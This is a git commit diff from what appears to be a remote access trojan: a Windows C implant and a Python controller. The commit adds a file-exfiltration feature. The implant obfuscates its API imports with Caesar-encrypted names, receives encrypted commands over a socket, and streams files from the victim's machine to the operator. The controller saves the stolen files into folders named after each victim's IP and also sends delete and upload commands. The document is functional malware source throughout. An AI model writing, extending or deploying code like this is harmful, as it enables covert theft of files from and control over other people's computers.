download un/plusieurs fichier(s) fonctionne

manque download folder (itérer à travers les fichiers d'un dossier au lieu de zip ?), manque upload
This commit is contained in:
2023-02-19 10:58:03 +01:00
parent 10a98d02d4
commit 0889454150
7 changed files with 133 additions and 8 deletions

View File

@@ -89,8 +89,53 @@ char* get_file_list(const char* dirPath, int* numFiles) {
}
void download_file() {
int download_file(FILE* fp, SOCKET sock) {
char* data = (char*)Api.malloc(BUFFER_SIZE);
int bytes_read, bytes_sent;
// Send the contents of the file through the socket
while (1) {
bytes_read = Api.fread(data, 1, BUFFER_SIZE, fp);
if (bytes_read == 0) {
break;
}
char* ptr = data;
while (bytes_read > 0) {
bytes_sent = Api.send(sock, ptr, bytes_read, 0);
if (bytes_sent == SOCKET_ERROR) {
int error_code = Api.WSAGetLastError();
if (error_code == WSAEWOULDBLOCK) {
// If send would block, wait until the socket is writable
fd_set write_fds;
FD_ZERO(&write_fds);
FD_SET(sock, &write_fds);
if (Api.select(sock + 1, NULL, &write_fds, NULL, NULL) == SOCKET_ERROR) {
Api.free(data);
Api.fclose(fp);
Sleep_(Sleep_TIME);
return 0;
}
}
else {
Api.free(data);
Api.fclose(fp);
Sleep_(Sleep_TIME);
return 0;
}
}
else {
bytes_read -= bytes_sent;
ptr += bytes_sent;
}
}
}
Api.fclose(fp);
Api.free(data);
return 1;
}
void download_folder() {

View File

@@ -17,6 +17,6 @@ extern API Api;
int get_object_info(char* path, struct stat* fileinfo);
int get_drives_list(char* buf);
char* get_file_list(const char* dirPath, int* numFiles);
void download_file();
int download_file(FILE* fp, SOCKET sock);
void download_folder();
void upload_file();

View File

@@ -1,13 +1,12 @@
#include <Windows.h>
#include <shlobj_core.h>
#include <wininet.h>
#include <stdio.h>
#include "utils.h"
#include "config.h"
#include "resolve_apis.h"
#include "file_explorer.h"
#define Sleep_TIME 30
HANDLE g_hChildStd_IN_Rd = NULL;
HANDLE g_hChildStd_IN_Wr = NULL;
HANDLE g_hChildStd_OUT_Rd = NULL;
@@ -320,7 +319,30 @@ retry:
}
if (Api.strncmp(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file
char* path = (char*)Api.malloc(MAX_PATH);
//Receive a reply from the server
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
{
//recv failed
Api.free(path);
Sleep_(Sleep_TIME);
goto retry;
}
FILE* fp = Api.fopen(CAESAR_DECRYPT(path), "rb");
Api.free(path);
if (fp == NULL)
{
Sleep_(Sleep_TIME);
goto retry;
}
if (download_file(fp, sock) == 0) {
Sleep_(Sleep_TIME);
goto retry;
}
}
if (Api.strncmp(server_reply, "it|sqtfidinw", strlen("it|sqtfidinw")) == 0) { //download_dir

View File

@@ -47,6 +47,9 @@ void InitApis() {
Api.localtime = (Tlocaltime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("qthfqynrj"));
Api.strftime = (Tstrftime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywkynrj"));
Api._snprintf = (T_snprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxsuwnsyk"));
Api.fopen = (Tfopen)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("ktujs"));
Api.fclose = (Tfclose)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("khqtxj"));
Api.fread = (Tfread)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjfi"));
hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq"));
if (!hWininet) {
@@ -62,6 +65,7 @@ void InitApis() {
Api.inet_addr = (Tinet_addr)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("nsjydfiiw"));
Api.WSAStartup = (TWSAStartup)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFXyfwyzu"));
Api.WSAGetLastError = (TWSAGetLastError)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFLjyQfxyJwwtw"));
Api.select = (Tselect)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjqjhy"));
}
void FreeApis() {

View File

@@ -15,6 +15,7 @@ typedef u_long(WINAPI* Tinet_addr)(const char*);
typedef SOCKET(WINAPI* Tsocket)(int, int, int);
typedef int(WINAPI* TWSAStartup)(WORD, LPWSADATA);
typedef int(WINAPI* TWSAGetLastError)(void);
typedef int(WINAPI* Tselect)(int, fd_set FAR*, fd_set FAR*, fd_set FAR*, const struct timeval FAR*);
typedef void* (WINAPI* Tmemset)(void*, int, size_t);
typedef void* (WINAPI* Tmalloc)(size_t);
@@ -31,6 +32,9 @@ typedef size_t(WINAPI* Twcstombs)(char*, wchar_t const*, size_t);
typedef struct tm* (WINAPI* Tlocaltime)(__time64_t const*);
typedef size_t(WINAPI* Tstrftime)(char*, size_t, char const*, struct tm const*);
typedef int(WINAPI* T_snprintf)(char* const, size_t const, char const* const, ...);
typedef FILE* (WINAPI* Tfopen)(char const*, char const*);
typedef int(WINAPI* Tfclose)(FILE*);
typedef size_t(WINAPI* Tfread)(void*, size_t, size_t, FILE*);
typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
@@ -58,6 +62,7 @@ typedef struct ApiList {
Tinet_addr inet_addr;
TWSAStartup WSAStartup;
TWSAGetLastError WSAGetLastError;
Tselect select;
Tmemset memset;
Tmalloc malloc;
@@ -91,6 +96,9 @@ typedef struct ApiList {
Tlocaltime localtime;
Tstrftime strftime;
T_snprintf _snprintf;
Tfopen fopen;
Tfclose fclose;
Tfread fread;
} API;
void InitApis();

View File

@@ -4,6 +4,8 @@
#include <time.h>
#include "resolve_apis.h"
#define Sleep_TIME 30
char* CAESAR(char* in);
char* CAESAR_DECRYPT(char* in);
void Sleep_(int time_to_wait);

View File

@@ -5,10 +5,12 @@ from flask import Flask, request, send_file, render_template, send_from_director
from threading import Thread
import os, sys, time
import easygui
import errno
import select
import socket
import logging
import urllib.parse
import select
import math
ADRESSE = "192.168.1.35"#socket.gethostname()
@@ -92,7 +94,51 @@ def interact() :
match action :
case "download" :
print(files)
for i in files :
path = path_file_ex_2 + i
if i in FILES_ :
#call download file
client.send(CAESAR("download_file\0").encode())
client.send(CAESAR(path + "\0").encode())
time.sleep(0.05)
addr = client.getpeername()[0]
addr = os.getcwd() + "\\" + addr.replace(".","_")
if not os.path.exists(addr):
os.makedirs(addr)
out_file = open(addr + "\\" + i, "wb")
while True:
try:
# Receive data from the socket
data = client.recv(4096)
if not data:
break
# Write the data to the file
out_file.write(data)
except socket.error as e:
if e.errno == errno.WSAEWOULDBLOCK:
# If recv would block, wait until the socket is readable
ready_to_read, _, _ = select.select([client], [], [], 1)
if not ready_to_read:
# If select timed out, try recv again
continue
else:
break
out_file.close()
time.sleep(0.05)
else :
#call download folder
client.send(CAESAR("download_dir\0").encode())
client.send(CAESAR(path + "\0").encode())
time.sleep(0.05)
case "upload" :
filename = easygui.fileopenbox()
@@ -110,8 +156,6 @@ def interact() :
client.send(CAESAR("del_file\0").encode())
client.send(CAESAR(path + "\0").encode())
time.sleep(0.05)
else :
#call remove folder
client.send(CAESAR("del_dir\0").encode())